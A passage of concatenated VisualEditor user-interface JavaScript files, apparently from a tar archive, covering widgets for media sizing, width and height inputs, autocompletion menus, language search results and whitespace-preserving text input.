 *
 * @param {Object} dimensions Original dimensions
 */
ve.ui.MediaSizeWidget.prototype.onScalableOriginalSizeChange = function () {
	// Revalidate current dimensions
	this.updateDisabled();
	this.validateDimensions();
};

/**
 * Respond to change in current dimensions in the scalable object.
 *
 * @param {Object} dimensions Original dimensions
 */
ve.ui.MediaSizeWidget.prototype.onScalableCurrentSizeChange = function ( dimensions ) {
	if ( !ve.isEmptyObject( dimensions ) ) {
		this.setCurrentDimensions( dimensions );
		this.validateDimensions();
	}
};

/**
 * Respond to default size or status change in the scalable object.
 *
 * @param {boolean} isDefault Current default state
 */
ve.ui.MediaSizeWidget.prototype.onScalableDefaultSizeChange = function ( isDefault ) {
	// Update the default size into the dimensions widget
	this.updateDefaultDimensions();
	// TODO: When 'scale' ('upright' support) is ready, this will need to be adjusted
	// to support that as well
	this.setSizeType(
		isDefault ?
			'default' :
			'custom'
	);
	this.validateDimensions();
};

/**
 * Respond to width/height input value change. Only update dimensions if
 * the value is numeric. Invoke validation for every change.
 *
 * This is triggered every time the dimension widget has its values changed
 * either by the user or externally. The external call to 'setCurrentDimensions'
 * will result in this event being evoked if the dimension inputs have changed,
 * and same with changing dimensions type.
 *
 * The 'change' event for the entire widget is emitted through this method, as
 * it means that the actual values have changed, regardless of whether they
 * are valid or not.
 *
 * @param {string} type The input that was updated, 'width' or 'height'
 * @param {string} value The new value of the input
 * @fires change
 */
ve.ui.MediaSizeWidget.prototype.onDimensionsChange = function ( type, value ) {
	if ( +value === 0 && !this.noDefaultDimensions ) {
		this.setSizeType( 'default' );
	} else {
		this.setSizeType( 'custom' );
		if ( !isNaN( +value ) ) {
			var dimensions = {};
			dimensions[ type ] = +value;
			this.setCurrentDimensions( dimensions );
		} else {
			this.validateDimensions();
		}
	}
};

// /**
//  * Respond to change of the scale input
//  */
/*
ve.ui.MediaSizeWidget.prototype.onScaleChange = function () {
	// If the input changed (and not empty), set to 'custom'
	// Otherwise, set to 'default'
	if ( !this.dimensions.isEmpty() ) {
		this.sizeTypeSelect.selectItemByData( 'scale' );
	} else {
		this.sizeTypeSelect.selectItemByData( 'default' );
	}
};
*/

/**
 * Respond to size type change
 *
 * @param {OO.ui.OptionWidget} item Selected size type item
 * @fires changeSizeType
 */
ve.ui.MediaSizeWidget.prototype.onSizeTypeChoose = function ( item ) {
	var selectedType = item.getData(),
		wasDefault = this.scalable.isDefault();

	this.scalable.toggleDefault( selectedType === 'default' );

	if ( selectedType === 'default' ) {
		// If there are defaults, put them into the values
		if ( !ve.isEmptyObject( this.dimensions.getDefaults() ) ) {
			this.dimensions.clear();
		}
	} else if ( selectedType === 'custom' ) {
		// If we were default size before, set the current dimensions to the default size
		if ( wasDefault && !ve.isEmptyObject( this.dimensions.getDefaults() ) ) {
			this.setCurrentDimensions( this.dimensions.getDefaults() );
		}
		this.validateDimensions();
	}

	this.emit( 'changeSizeType', selectedType );
	this.updateDisabled();
	this.validateDimensions();
};

// /**
//  * Set the placeholder value of the scale input
//  *
//  * @param {number} value Placeholder value
//  * @chainable
//  * @return {ve.ui.MediaSizeWidget}
//  */
/*
ve.ui.MediaSizeWidget.prototype.setScalePlaceholder = function ( value ) {
	this.scaleInput.$element.prop( 'placeholder', value );
	return this;
};
*/

// /**
//  * Get the placeholder value of the scale input
//  *
//  * @return {string} Placeholder value
//  */
/*
ve.ui.MediaSizeWidget.prototype.getScalePlaceholder = function () {
	return this.scaleInput.$element.prop( 'placeholder' );
};
*/

/**
 * Select a size type in the select widget
 *
 * @param {string} sizeType The size type to select
 * @chainable
 * @return {ve.ui.MediaSizeWidget}
 */
ve.ui.MediaSizeWidget.prototype.setSizeType = function ( sizeType ) {
	if (
		this.getSizeType() !== sizeType ||
		// If the dimensions widget has zeros make sure to
		// allow for the change in size type
		+this.dimensions.getWidth() === 0 ||
		+this.dimensions.getHeight() === 0
	) {
		this.sizeTypeSelect.chooseItem(
			this.sizeTypeSelect.findItemFromData( sizeType )
		);
	}
	return this;
};
/**
 * Get the size type from the select widget
 *
 * @return {string} The size type
 */
ve.ui.MediaSizeWidget.prototype.getSizeType = function () {
	return this.sizeTypeSelect.findSelectedItem() ? this.sizeTypeSelect.findSelectedItem().getData() : '';
};

/**
 * Set the scalable object the widget deals with
 *
 * @param {ve.dm.Scalable} scalable A scalable object representing the media source being resized.
 * @chainable
 * @return {ve.ui.MediaSizeWidget}
 */
ve.ui.MediaSizeWidget.prototype.setScalable = function ( scalable ) {
	if ( this.scalable instanceof ve.dm.Scalable ) {
		this.scalable.disconnect( this );
	}
	this.scalable = scalable;
	// Events
	this.scalable.connect( this, {
		defaultSizeChange: 'onScalableDefaultSizeChange',
		originalSizeChange: 'onScalableOriginalSizeChange',
		currentSizeChange: 'onScalableCurrentSizeChange'
	} );

	this.updateDefaultDimensions();

	if ( !this.scalable.isDefault() ) {
		// Reset current dimensions to new scalable object
		this.setCurrentDimensions( this.scalable.getCurrentDimensions() );
	}

	// Call for the set size type according to default or custom settings of the scalable
	if ( this.scalable.getOriginalDimensions() ) {
		this.setSizeType( this.scalable.isDefault() ? 'default' : 'custom' );
	}
	this.updateDisabled();
	this.validateDimensions();
	return this;
};

/**
 * Get the attached scalable object
 *
 * @return {ve.dm.Scalable} The scalable object representing the media
 * source being resized.
 */
ve.ui.MediaSizeWidget.prototype.getScalable = function () {
	return this.scalable;
};

/**
 * Set the image aspect ratio explicitly
 *
 * @param {number} ratio Numerical value of an aspect ratio
 * @chainable
 * @return {ve.ui.MediaSizeWidget}
 */
ve.ui.MediaSizeWidget.prototype.setRatio = function ( ratio ) {
	this.scalable.setRatio( ratio );
	return this;
};

/**
 * Get the current aspect ratio
 *
 * @return {number} Aspect ratio
 */
ve.ui.MediaSizeWidget.prototype.getRatio = function () {
	return this.scalable.getRatio();
};

/**
 * Set the maximum dimensions for the image. These will be limited only if
 * enforcedMax is true.
 *
 * @param {Object} dimensions Height and width
 * @chainable
 * @return {ve.ui.MediaSizeWidget}
 */
ve.ui.MediaSizeWidget.prototype.setMaxDimensions = function ( dimensions ) {
	// Normalize dimensions before setting
	var maxDimensions = ve.dm.Scalable.static.getDimensionsFromValue( dimensions, this.scalable.getRatio() );
	this.scalable.setMaxDimensions( maxDimensions );
	return this;
};

/**
 * Retrieve the currently defined maximum dimensions
 *
 * @return {Object} dimensions Height and width
 */
ve.ui.MediaSizeWidget.prototype.getMaxDimensions = function () {
	return this.scalable.getMaxDimensions();
};

/**
 * Retrieve the current dimensions
 *
 * @return {Object} Width and height
 */
ve.ui.MediaSizeWidget.prototype.getCurrentDimensions = function () {
	return this.currentDimensions;
};

/**
 * @inheritdoc
 */
ve.ui.MediaSizeWidget.prototype.setDisabled = function ( disabled ) {
	// Parent method
	ve.ui.MediaSizeWidget.super.prototype.setDisabled.call( this, disabled );

	this.updateDisabled();
	return this;
};

/**
 * Update the disabled state of sub widgets
 *
 * @chainable
 * @return {ve.ui.MediaSizeWidget}
 */
ve.ui.MediaSizeWidget.prototype.updateDisabled = function () {
	var disabled = this.isDisabled();

	// The 'updateDisabled' method may called before the widgets
	// are fully defined. So, before disabling/enabling anything,
	// make sure the objects exist
	if ( this.sizeTypeSelect &&
		this.dimensions &&
		this.scalable
	) {
		var sizeType = this.getSizeType();

		// Disable the type select
		this.sizeTypeSelect.setDisabled( disabled );

		// Disable the default type options
		this.sizeTypeSelect.findItemFromData( 'default' ).setDisabled(
			ve.isEmptyObject( this.scalable.getDefaultDimensions() )
		);

		// Disable the dimensions widget
		this.dimensions.setDisabled( disabled || sizeType !== 'custom' );

		// Disable the scale widget
		// this.scaleInput.setDisabled( disabled || sizeType !== 'scale' );
	}
	return this;
};

/**
 * Updates the current dimensions in the inputs, either one at a time or both
 *
 * @param {Object} dimensions Dimensions with width and height
 * @fires change
 */
ve.ui.MediaSizeWidget.prototype.setCurrentDimensions = function ( dimensions ) {
	// Recursion protection
	if ( this.preventChangeRecursion ) {
		return;
	}
	this.preventChangeRecursion = true;

	if ( !this.scalable.isFixedRatio() ) {
		dimensions = ve.extendObject( {}, this.getCurrentDimensions(), dimensions );
	}

	// Normalize the new dimensions
	var normalizedDimensions = ve.dm.Scalable.static.getDimensionsFromValue( dimensions, this.scalable.getRatio() );

	if (
		// Update only if the dimensions object is valid
		ve.dm.Scalable.static.isDimensionsObjectValid( normalizedDimensions ) &&
		// And only if the dimensions object is not default
		!this.scalable.isDefault()
	) {
		this.currentDimensions = normalizedDimensions;
		// This will only update if the value has changed
		// Set width & height individually as they may be 0
		this.dimensions.setWidth( this.currentDimensions.width );
		this.dimensions.setHeight( this.currentDimensions.height );

		// Update scalable object
		this.scalable.setCurrentDimensions( this.currentDimensions );

		this.validateDimensions();
		// Emit change event
		this.emit( 'change', this.currentDimensions );
	}
	this.preventChangeRecursion = false;
};

/**
 * Validate current dimensions.
 * Explicitly call for validating the current dimensions. This is especially
 * useful if we've changed conditions for the widget, like limiting image
 * dimensions for thumbnails when the image type changes. Triggers the error
 * class if needed.
 *
 * @return {boolean} Current dimensions are valid
 */
ve.ui.MediaSizeWidget.prototype.validateDimensions = function () {
	var isValid = this.isValid();

	if ( this.valid !== isValid ) {
		this.valid = isValid;
		this.errorLabel.toggle( !isValid );
		this.dimensions.setValidityFlag();
		// Emit change event
		this.emit( 'valid', this.valid );
	}
	return isValid;
};

/**
 * Set default dimensions for the widget. Values are given by scalable's
 * defaultDimensions. If no default dimensions are available,
 * the defaults are removed.
 */
ve.ui.MediaSizeWidget.prototype.updateDefaultDimensions = function () {
	var defaultDimensions = this.scalable.getDefaultDimensions();

	if ( !ve.isEmptyObject( defaultDimensions ) ) {
		this.dimensions.setDefaults( defaultDimensions );
	} else {
		this.dimensions.removeDefaults();
	}
	this.updateDisabled();
	this.validateDimensions();
};

/**
 * Check if the custom dimensions are empty.
 *
 * @return {boolean} Both width/height values are empty
 */
ve.ui.MediaSizeWidget.prototype.isCustomEmpty = function () {
	return this.dimensions.isEmpty();
};

// /**
//  * Check if the scale input is empty.
//  *
//  * @return {boolean} Scale input value is empty
//  */
/*
ve.ui.MediaSizeWidget.prototype.isScaleEmpty = function () {
	return ( this.scaleInput.getValue() === '' );
};
*/

/**
 * Check if all inputs are empty.
 *
 * @return {boolean} All input values are empty
 */
ve.ui.MediaSizeWidget.prototype.isEmpty = function () {
	return this.isCustomEmpty();
	// return this.isCustomEmpty() && this.isScaleEmpty();
};

/**
 * Check whether the current value inputs are valid
 * 1. If placeholders are visible, the input is valid
 * 2. If inputs have non numeric values, input is invalid
 * 3. If inputs have numeric values, validate through scalable
 *    calculations to see if the dimensions follow the rules.
 *
 * @return {boolean} Valid or invalid dimension values
 */
ve.ui.MediaSizeWidget.prototype.isValid = function () {
	var itemType = this.sizeTypeSelect.findSelectedItem() ?
		this.sizeTypeSelect.findSelectedItem().getData() : 'custom';

	// TODO: when upright is supported by Parsoid add validation for scale

	if ( itemType === 'custom' ) {
		if (
			this.dimensions.getDefaults() &&
			this.dimensions.isEmpty()
		) {
			return true;
		} else if (
			!isNaN( +this.dimensions.getWidth() ) &&
			!isNaN( +this.dimensions.getHeight() )
		) {
			return this.scalable.isCurrentDimensionsValid();
		} else {
			return false;
		}
	} else {
		// Default images are always valid size
		return true;
	}
};
ui/widgets/ve.ui.DimensionsWidget.js000066600000017001151334753760013507 0ustar00/*!
 * VisualEditor UserInterface DimensionsWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Widget that visually displays width and height inputs.
 * This widget is for presentation-only, no calculation is done.
 *
 * @class
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {Object} [defaults] Default dimensions
 * @cfg {Object} [validate] Validation pattern passed to TextInputWidgets
 * @cfg {boolean} [readOnly=false] Prevent changes to the value of the widget.
 */
ve.ui.DimensionsWidget = function VeUiDimensionsWidget( config ) {
	// Configuration
	config = config || {};

	// Parent constructor
	ve.ui.DimensionsWidget.super.call( this, config );

	this.widthInput = new OO.ui.TextInputWidget( {
		validate: config.validate || $.isNumeric
	} );
	this.widthInput.$input.attr( 'aria-label', ve.msg( 'visualeditor-dimensionswidget-width' ) );
	this.heightInput = new OO.ui.TextInputWidget( {
		validate: config.validate || $.isNumeric
	} );
	this.heightInput.$input.attr( 'aria-label', ve.msg( 'visualeditor-dimensionswidget-height' ) );

	this.defaults = config.defaults || { width: '', height: '' };
	this.setReadOnly( !!config.readOnly );
	this.renderDefaults();

	var labelTimes = new OO.ui.LabelWidget( {
		label: ve.msg( 'visualeditor-dimensionswidget-times' )
	} );
	var labelPx = new OO.ui.LabelWidget( {
		label: ve.msg( 'visualeditor-dimensionswidget-px' )
	} );

	// Events
	this.widthInput.connect( this, { change: 'onWidthChange' } );
	this.heightInput.connect( this, { change: 'onHeightChange' } );

	// Setup
	this.$element
		.addClass( 've-ui-dimensionsWidget' )
		.append(
			this.widthInput.$element,
			labelTimes.$element
				.addClass( 've-ui-dimensionsWidget-label-times' ),
			this.heightInput.$element,
			labelPx.$element
				.addClass( 've-ui-dimensionsWidget-label-px' )
		);
};

/* Inheritance */

OO.inheritClass( ve.ui.DimensionsWidget, OO.ui.Widget );

/* Events */

/**
 * @event widthChange
 * @param {string} value The new width
 */

/**
 * @event heightChange
 * @param {string} value The new width
 */

/* Methods */

/**
 * Respond to width change, propagate the input change event
 *
 * @param {string} value The new changed value
 * @fires widthChange
 */
ve.ui.DimensionsWidget.prototype.onWidthChange = function ( value ) {
	this.emit( 'widthChange', value );
};

/**
 * Respond to height change, propagate the input change event
 *
 * @param {string} value The new changed value
 * @fires heightChange
 */
ve.ui.DimensionsWidget.prototype.onHeightChange = function ( value ) {
	this.emit( 'heightChange', value );
};

/**
 * Set default dimensions
 *
 * @param {Object} dimensions Default dimensions, width and height
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.setDefaults = function ( dimensions ) {
	if ( dimensions.width && dimensions.height ) {
		this.defaults = ve.copy( dimensions );
		this.renderDefaults();
	}
	return this;
};

/**
 * Render the default dimensions as input placeholders
 */
ve.ui.DimensionsWidget.prototype.renderDefaults = function () {
	this.widthInput.$input.prop( 'placeholder', this.getDefaults().width );
	this.heightInput.$input.prop( 'placeholder', this.getDefaults().height );
};

/**
 * Get the default dimensions
 *
 * @return {Object} Default dimensions
 */
ve.ui.DimensionsWidget.prototype.getDefaults = function () {
	return this.defaults;
};

/**
 * Remove the default dimensions
 *
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.removeDefaults = function () {
	this.defaults = { width: '', height: '' };
	this.renderDefaults();
	return this;
};

/**
 * Check whether the widget is empty.
 *
 * @return {boolean} Both values are empty
 */
ve.ui.DimensionsWidget.prototype.isEmpty = function () {
	return (
		this.widthInput.getValue() === '' &&
		this.heightInput.getValue() === ''
	);
};

/**
 * Set an empty value for the dimensions inputs so they show
 * the placeholders if those exist.
 *
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.clear = function () {
	this.widthInput.setValue( '' );
	this.heightInput.setValue( '' );
	return this;
};

/**
 * Reset the dimensions to the default dimensions.
 *
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.reset = function () {
	this.setDimensions( this.getDefaults() );
	return this;
};

/**
 * Set the dimensions value of the inputs
 *
 * @param {Object} dimensions The width and height values of the inputs
 * @param {number} dimensions.width The value of the width input
 * @param {number} dimensions.height The value of the height input
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.setDimensions = function ( dimensions ) {
	if ( dimensions.width ) {
		this.setWidth( dimensions.width );
	}
	if ( dimensions.height ) {
		this.setHeight( dimensions.height );
	}
	return this;
};

/**
 * Return the current dimension values in the widget
 *
 * @return {Object} dimensions The width and height values of the inputs
 * @return {number} dimensions.width The value of the width input
 * @return {number} dimensions.height The value of the height input
 */
ve.ui.DimensionsWidget.prototype.getDimensions = function () {
	return {
		width: +this.widthInput.getValue(),
		height: +this.heightInput.getValue()
	};
};

/**
 * Disable or enable the inputs
 *
 * @param {boolean} disabled Set disabled or enabled
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.setDisabled = function ( disabled ) {
	// Parent method
	ve.ui.DimensionsWidget.super.prototype.setDisabled.call( this, disabled );

	// The 'setDisabled' method runs in the constructor before the
	// inputs are initialized
	if ( this.widthInput ) {
		this.widthInput.setDisabled( disabled );
	}
	if ( this.heightInput ) {
		this.heightInput.setDisabled( disabled );
	}
	return this;
};

/**
 * Check if the widget is read-only
 *
 * @return {boolean}
 */
ve.ui.DimensionsWidget.prototype.isReadOnly = function () {
	return this.readOnly;
};

/**
 * Set the read-only state of the widget
 *
 * @param {boolean} readOnly Make widget read-only
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.setReadOnly = function ( readOnly ) {
	this.readOnly = readOnly;
	this.widthInput.setReadOnly( readOnly );
	this.heightInput.setReadOnly( readOnly );
	return this;
};

/**
 * Get the current value in the width input
 *
 * @return {string} Input value
 */
ve.ui.DimensionsWidget.prototype.getWidth = function () {
	return this.widthInput.getValue();
};

/**
 * Get the current value in the height input
 *
 * @return {string} Input value
 */
ve.ui.DimensionsWidget.prototype.getHeight = function () {
	return this.heightInput.getValue();
};

/**
 * Set a value for the width input
 *
 * @param {string} value
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.setWidth = function ( value ) {
	this.widthInput.setValue( value );
	return this;
};

/**
 * Set a value for the height input
 *
 * @param {string} value
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.setHeight = function ( value ) {
	this.heightInput.setValue( value );
	return this;
};

/**
 * Sets the 'invalid' flag appropriately on both text inputs.
 *
 * @return {ve.ui.DimensionsWidget}
 * @chainable
 */
ve.ui.DimensionsWidget.prototype.setValidityFlag = function () {
	this.widthInput.setValidityFlag();
	this.heightInput.setValidityFlag();
	return this;
};
ui/widgets/ve.ui.ChangeDescriptionsSelectWidget.js000066600000001630151334753760016314 0ustar00/*!
 * VisualEditor UserInterface ChangeDescriptionsSelectWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 * @license The MIT License (MIT); see LICENSE.txt
 */

/**
 * Creates a ve.ui.ChangeDescriptionsSelectWidget object.
 *
 * @class
 * @extends OO.ui.SelectWidget
 *
 * @constructor
 * @param {Object} config Configuration options
 */
ve.ui.ChangeDescriptionsSelectWidget = function VeUiChangeDescriptionsSelectWidget( config ) {
	// Parent constructor
	ve.ui.ChangeDescriptionsSelectWidget.super.call( this, config );

	// DOM
	this.$element.addClass( 've-ui-changeDescriptionsSelectWidget' );
};

/* Inheritance */

OO.inheritClass( ve.ui.ChangeDescriptionsSelectWidget, OO.ui.SelectWidget );

/* Methods */

ve.ui.ChangeDescriptionsSelectWidget.prototype.selectItem = function () {};

ve.ui.ChangeDescriptionsSelectWidget.prototype.pressItem = function () {};
ui/widgets/ve.ui.CompletionWidget.js000066600000016741151334753760013522 0ustar00/*!
 * VisualEditor UserInterface CompletionWidget class.
 *
 * @copyright 2011-2019 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Widget that displays autocompletion suggestions
 *
 * @class
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to complete into
 * @param {Object} [config] Configuration options
 * @cfg {Object} [validate] Validation pattern passed to TextInputWidgets
 * @cfg {boolean} [readOnly=false] Prevent changes to the value of the widget.
 */
ve.ui.CompletionWidget = function VeUiCompletionWidget( surface, config ) {
	this.surface = surface;
	this.surfaceModel = surface.getModel();

	// Configuration
	config = config || {
		anchor: false
	};

	// Parent constructor
	ve.ui.CompletionWidget.super.call( this, config );

	this.$tabIndexed = this.$element;

	var $doc = surface.getView().getDocument().getDocumentNode().$element;
	this.popup = new OO.ui.PopupWidget( {
		anchor: false,
		align: 'forwards',
		hideWhenOutOfView: false,
		autoFlip: false,
		width: null,
		$container: config.$popupContainer || this.surface.$element,
		containerPadding: config.popupPadding
	} );
	this.input = new OO.ui.TextInputWidget();
	this.menu = new OO.ui.MenuSelectWidget( {
		widget: this,
		$input: $doc.add( this.input.$input )
	} );
	// This may be better semantically as a MenuSectionOptionWidget,
	// but that causes all subsequent options to be indented.
	this.header = new OO.ui.MenuOptionWidget( {
		classes: [ 've-ui-completionWidget-header' ],
		disabled: true
	} );
	this.noResults = new OO.ui.MenuOptionWidget( {
		label: ve.msg( 'visualeditor-completionwidget-noresults' ),
		classes: [ 've-ui-completionWidget-noresults' ],
		disabled: true
	} );

	// Events
	this.menu.connect( this, {
		choose: 'onMenuChoose',
		toggle: 'onMenuToggle'
	} );
	this.input.connect( this, { change: 'update' } );

	this.popup.$element.prepend( this.input.$element );
	this.popup.$body.append(
		this.menu.$element
	);

	// Setup
	this.$element.addClass( 've-ui-completionWidget' )
		.append(
			this.popup.$element
		);
};

/* Inheritance */

OO.inheritClass( ve.ui.CompletionWidget, OO.ui.Widget );

/**
 * Setup the completion widget
 *
 * @param {ve.ui.Action} action Action which opened the widget
 * @param {boolean} [isolateInput] Isolate input from the surface
 */
ve.ui.CompletionWidget.prototype.setup = function ( action, isolateInput ) {
	var range = this.surfaceModel.getSelection().getCoveringRange();
	this.action = action;
	this.isolateInput = !!isolateInput;
	this.sequenceLength = this.action.getSequenceLength();
	this.initialOffset = range.end - this.sequenceLength;

	this.input.toggle( this.isolateInput );
	if ( this.isolateInput ) {
		this.wasActive = !this.surface.getView().isDeactivated();
		this.surface.getView().deactivate();
		this.input.setValue( '' );
		setTimeout( function () {
			this.input.focus();
		}.bind( this ), 1 );
	} else {
		this.wasActive = false;
	}

	this.update();

	this.surfaceModel.connect( this, { select: 'onModelSelect' } );
};

/**
 * Teardown the completion widget
 */
ve.ui.CompletionWidget.prototype.teardown = function () {
	this.tearingDown = true;
	this.popup.toggle( false );
	this.surfaceModel.disconnect( this );
	if ( this.wasActive ) {
		this.surface.getView().activate();
	}
	this.action = undefined;
	this.tearingDown = false;
};

/**
 * Update the completion widget after the input has changed
 */
ve.ui.CompletionWidget.prototype.update = function () {
	var direction = this.surface.getDir(),
		range = this.getCompletionRange(),
		boundingRect = this.surface.getView().getSelection( new ve.dm.LinearSelection( range ) ).getSelectionBoundingRect(),
		style = {
			top: boundingRect.bottom
		};

	var input;
	if ( this.isolateInput ) {
		input = this.input.getValue();
	} else {
		var data = this.surfaceModel.getDocument().data;
		input = data.getText( false, range );
	}

	if ( direction === 'rtl' ) {
		// This works because this.$element is a 0x0px box, with the menu positioned relative to it.
		// If this style was applied to the menu, we'd need to do some math here to align the right
		// edge of the menu with the right edge of the selection.
		style.left = boundingRect.right;
	} else {
		style.left = boundingRect.left;
	}
	this.$element.css( style );

	this.updateMenu( input );
	this.action.getSuggestions( input ).then( function ( suggestions ) {
		if ( !this.action ) {
			// Check widget hasn't been torn down
			return;
		}
		this.menu.clearItems();
		var menuItems = suggestions.map( this.action.getMenuItemForSuggestion.bind( this.action ) );
		menuItems = this.action.updateMenuItems( menuItems );
		this.menu.addItems( menuItems );
		this.menu.highlightItem( this.menu.findFirstSelectableItem() );
		this.updateMenu( input, suggestions );
	}.bind( this ) );
};

/**
 * Update the widget's menu with the latest suggestions
 *
 * @param {string} input Input text
 * @param {Array} suggestions Suggestions
 */
ve.ui.CompletionWidget.prototype.updateMenu = function ( input, suggestions ) {
	// Update the header based on the input
	var label = this.action.getHeaderLabel( input, suggestions );
	if ( label !== undefined ) {
		this.header.setLabel( label );
	}
	if ( this.header.getLabel() !== null ) {
		this.menu.addItems( [ this.header ], 0 );
	} else {
		this.menu.removeItems( [ this.header ] );
	}
	if ( !this.isolateInput ) {
		// If there is a header or menu items, show the menu
		if ( this.menu.items.length ) {
			this.menu.toggle( true );
			this.popup.toggle( true );
			// Menu may have changed size, so recalculate position
			this.popup.updateDimensions();
		} else {
			this.popup.toggle( false );
		}
	} else {
		if ( !this.menu.items.length ) {
			this.menu.addItems( [ this.noResults ], 0 );
		}
		this.menu.toggle( true );
		this.popup.toggle( true );
		this.popup.updateDimensions();
	}
};

/**
 * Handle choose events from the menu
 *
 * @param {OO.ui.MenuOptionWidget} item Chosen option
 */
ve.ui.CompletionWidget.prototype.onMenuChoose = function ( item ) {
	this.action.chooseItem( item, this.getCompletionRange( true ) );

	this.teardown();
};

/**
 * Handle toggle events from the menu
 *
 * @param {boolean} visible Menu is visible
 */
ve.ui.CompletionWidget.prototype.onMenuToggle = function ( visible ) {
	if ( !visible && !this.tearingDown ) {
		// Menu was hidden by the user (e.g. pressed ESC) - trigger a teardown
		this.teardown();
	}
};

/**
 * Handle select events from the document model
 *
 * @param {ve.dm.Selection} selection Selection
 */
ve.ui.CompletionWidget.prototype.onModelSelect = function () {
	var range = this.getCompletionRange();
	var widget = this;

	function countMatches() {
		var matches = widget.menu.getItems().length;
		if ( widget.header.getLabel() !== null ) {
			matches--;
		}
		if ( widget.action.constructor.static.alwaysIncludeInput ) {
			matches--;
		}
		return matches;
	}

	if ( !range || range.isBackwards() || this.action.shouldAbandon( this.surfaceModel.getDocument().data.getText( false, range ), countMatches() ) ) {
		this.teardown();
	} else {
		this.update();
	}
};

/**
 * Get the range where the user has entered text in the document since opening the widget
 *
 * @param {boolean} [withSequence] Include the triggering sequence text in the range
 * @return {ve.Range|null} Range, null if not valid
 */
ve.ui.CompletionWidget.prototype.getCompletionRange = function ( withSequence ) {
	var range = this.surfaceModel.getSelection().getCoveringRange();
	if ( !range || !this.action ) {
		return null;
	}
	return new ve.Range( this.initialOffset + ( withSequence ? 0 : this.sequenceLength ), range.end );
};
ui/widgets/ve.ui.LanguageResultWidget.js000066600000003253151334753760014325 0ustar00/*!
 * VisualEditor UserInterface LanguageResultWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Creates an ve.ui.LanguageResultWidget object.
 *
 * @class
 * @extends OO.ui.OptionWidget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 */
ve.ui.LanguageResultWidget = function VeUiLanguageResultWidget( config ) {
	// Parent constructor
	ve.ui.LanguageResultWidget.super.call( this, config );

	// Initialization
	this.$element.addClass( 've-ui-languageResultWidget' );
	this.name = new OO.ui.LabelWidget( { classes: [ 've-ui-languageResultWidget-name' ] } );
	this.otherMatch = new OO.ui.LabelWidget( { classes: [ 've-ui-languageResultWidget-otherMatch' ] } );
	this.setLabel( this.otherMatch.$element.add( this.name.$element ) );
};

/* Inheritance */

OO.inheritClass( ve.ui.LanguageResultWidget, OO.ui.OptionWidget );

/* Methods */

/**
 * Update labels based on query
 *
 * @param {string} query Query text which matched this result
 * @param {string} matchedProperty Data property which matched the query text
 * @param {Function} [compare] String comparator
 * @return {ve.ui.LanguageResultWidget}
 * @chainable
 */
ve.ui.LanguageResultWidget.prototype.updateLabel = function ( query, matchedProperty, compare ) {
	var data = this.getData();

	if ( matchedProperty === 'name' ) {
		this.name.setHighlightedQuery( data.name, query, compare );
	} else {
		this.name.setLabel( data.name );
	}
	if ( matchedProperty === 'code' || matchedProperty === 'autonym' ) {
		this.otherMatch.setHighlightedQuery( data[ matchedProperty ], query, compare );
	} else {
		this.otherMatch.setLabel( data.code );
	}

	return this;
};
ui/widgets/ve.ui.WhitespacePreservingTextInputWidget.js000066600000004454151334753760017435 0ustar00/*!
 * VisualEditor UserInterface WhitespacePreservingTextInputWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Text input widget which hides but preserves leading and trailing whitespace
 *
 * @class
 * @extends OO.ui.MultilineTextInputWidget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {string} [valueAndWhitespace=''] Initial value and whitespace
 * @cfg {number} [limit] Maximum number of characters to preserve at each end
 */
ve.ui.WhitespacePreservingTextInputWidget = function VeUiWhitespacePreservingTextInputWidget( config ) {
	// Configuration
	config = config || {};

	// Parent constructor
	ve.ui.WhitespacePreservingTextInputWidget.super.call( this, config );

	this.limit = config.limit;

	this.setWhitespace( [ '', '' ] );
	this.setValueAndWhitespace( config.valueAndWhitespace || '' );

	this.$element.addClass( 've-ui-whitespacePreservingTextInputWidget' );
};

/* Inheritance */

OO.inheritClass( ve.ui.WhitespacePreservingTextInputWidget, OO.ui.MultilineTextInputWidget );

/* Methods */

/**
 * Set the value of the widget and extract whitespace.
 *
 * @param {string} value
 */
ve.ui.WhitespacePreservingTextInputWidget.prototype.setValueAndWhitespace = function ( value ) {
	var leftValue = this.limit ? value.slice( 0, this.limit ) : value;
	this.whitespace[ 0 ] = leftValue.match( /^\s*/ )[ 0 ];
	value = value.slice( this.whitespace[ 0 ].length );

	var rightValue = this.limit ? value.slice( -this.limit ) : value;
	this.whitespace[ 1 ] = rightValue.match( /\s*$/ )[ 0 ];
	value = value.slice( 0, value.length - this.whitespace[ 1 ].length );

	this.setValue( value );
};

/**
 * Set the value of the widget and extract whitespace.
 *
 * @param {string[]} whitespace Outer whitespace
 */
ve.ui.WhitespacePreservingTextInputWidget.prototype.setWhitespace = function ( whitespace ) {
	this.whitespace = whitespace;
};

/**
 * Get the value of text widget, including hidden outer whitespace
 *
 * @return {string} Text widget value including whitespace
 */
ve.ui.WhitespacePreservingTextInputWidget.prototype.getValueAndWhitespace = function () {
	if ( !this.whitespace ) {
		// In case getValue() is called from a parent constructor
		return this.value;
	}
	return this.whitespace[ 0 ] + this.value + this.whitespace[ 1 ];
};
ui/widgets/ve.ui.ContextSelectWidget.js000066600000001671151334753760014171 0ustar00/*!
